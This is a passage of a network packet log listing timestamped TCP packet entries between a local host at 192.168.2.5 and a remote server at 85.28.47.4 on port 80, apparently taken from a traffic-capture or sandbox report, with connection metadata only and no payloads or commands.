Jun 28, 2024 13:35:59.837121010 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.837137938 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.837959051 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.837970018 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.837979078 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.837990999 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.838000059 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.838009119 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.838018894 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.838025093 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.838025093 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.838028908 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.838040113 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.838047981 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.838051081 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.838061094 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.838071108 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.838069916 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.838069916 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.838082075 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.838092089 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.838100910 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.838103056 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.838112116 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.838121891 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.838123083 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.838139057 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.838165998 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.838560104 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.838571072 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.838579893 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.838589907 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.838599920 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.838603973 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.838610888 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.838622093 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.838622093 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.838634014 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.838640928 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.838643074 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.838660002 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.838682890 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.841120958 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.841169119 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.841169119 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.841178894 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.841208935 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.841224909 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.841228962 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.841268063 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.841308117 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.841319084 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.841330051 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.841341019 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.841360092 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.841361046 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.841408014 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.841504097 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.841515064 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.841546059 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.841571093 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.841573954 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.841609001 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.841646910 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.841656923 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.841667891 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.841696978 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.841697931 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.842686892 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.842736959 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.842739105 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.842753887 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.842780113 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.842812061 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.842890024 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.842900991 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.842911005 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.842921019 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.842930079 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.842933893 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.842962980 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.842992067 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.843153000 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.843163967 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.843173027 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.843183041 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.843197107 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.843198061 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.843206882 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.843216896 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.843218088 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.843228102 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.843239069 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.843249083 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.843256950 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.843256950 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.843278885 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.843298912 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.843619108 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.843635082 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.843658924 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.843677044 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.843679905 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.843717098 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.843844891 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.843854904 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.843864918 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.843874931 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.843883991 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.843889952 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.843894005 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.843904018 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.843909025 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.843913078 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.843924046 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.843929052 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.843934059 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.843945026 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.843945026 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.843955994 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.843966007 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.843997955 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.844430923 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.844441891 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.844451904 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.844460964 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.844470978 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.844475985 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.844486952 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.844496965 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.844506979 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.844516993 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.844520092 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.844520092 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.844527006 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.844537020 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.844541073 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.844547033 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.844558001 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.844561100 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.844567060 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.844578028 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.844579935 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.844587088 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.844597101 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.844599009 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.844607115 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.844624043 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.844624043 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.844645977 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.845236063 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.845247030 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.845257044 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.845267057 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.845277071 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.845280886 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.845287085 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.845297098 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.845304012 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.845318079 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.845319986 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.845334053 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.845340014 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.845344067 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.845355034 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.845356941 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.845365047 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.845374107 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.845375061 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.845385075 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.845392942 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.845395088 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.845405102 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.845410109 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.845415115 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.845416069 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.845416069 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.845419884 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.845424891 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.845473051 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.846283913 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.846295118 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.846303940 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.846313953 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.846323967 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.846329927 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.846333981 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.846343994 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.846348047 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.846354008 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.846364021 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.846374035 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.846381903 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.846383095 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.846383095 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.846395016 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.846401930 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.846405029 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.846415043 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.846425056 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.846435070 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.846435070 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.846445084 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.846453905 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.846461058 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.846461058 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.846463919 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.846474886 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.846504927 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.846524000 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.847153902 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.847165108 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.847174883 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.847183943 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.847199917 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.847201109 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.847213030 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.847222090 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.847224951 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.847233057 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.847245932 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.847270012 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.847294092 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.847431898 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.847443104 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.847471952 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.847501993 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.847517014 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.847527027 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.847537041 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.847547054 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.847557068 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.847565889 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.847568989 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.847584963 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.847604036 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.847945929 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.847958088 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.847966909 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.847976923 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.847986937 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.847995996 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.848006010 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.848015070 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.848018885 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.848025084 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.848035097 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.848037004 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.848046064 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.848056078 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.848057032 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.848073006 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.848093987 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.848588943 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.848612070 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.848623037 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.848633051 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.848643064 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.848645926 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.848653078 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.848664045 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.848668098 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.848674059 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.848684072 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.848691940 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.848691940 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.848694086 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.848706007 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.848711967 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.848716974 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.848728895 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.848730087 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.848740101 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.848750114 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.848758936 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.848768950 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.848769903 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.848769903 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.848782063 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.848792076 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.848793030 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.848808050 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.848838091 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.849462986 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.849473000 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.849483013 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.849493027 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.849503994 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.849505901 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.849514008 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.849524975 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.849524975 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.849534988 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.849545956 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.849546909 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.849555969 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.849565983 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.849566936 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.849576950 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.849585056 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.849602938 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.849623919 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.850035906 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.850047112 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.850056887 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.850066900 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.850078106 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.850086927 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.850096941 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.850097895 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.850097895 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.850106955 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.850116968 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.850121021 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.850126982 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.850136995 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.850140095 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.850162983 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.850204945 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.854077101 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.854116917 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.854126930 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.854139090 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.854167938 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.854173899 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.854197979 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.854217052 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.854245901 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.854260921 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.854273081 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.854293108 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.854300976 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.854320049 CEST	49705	80	192.168.2.5	85.28.47.4
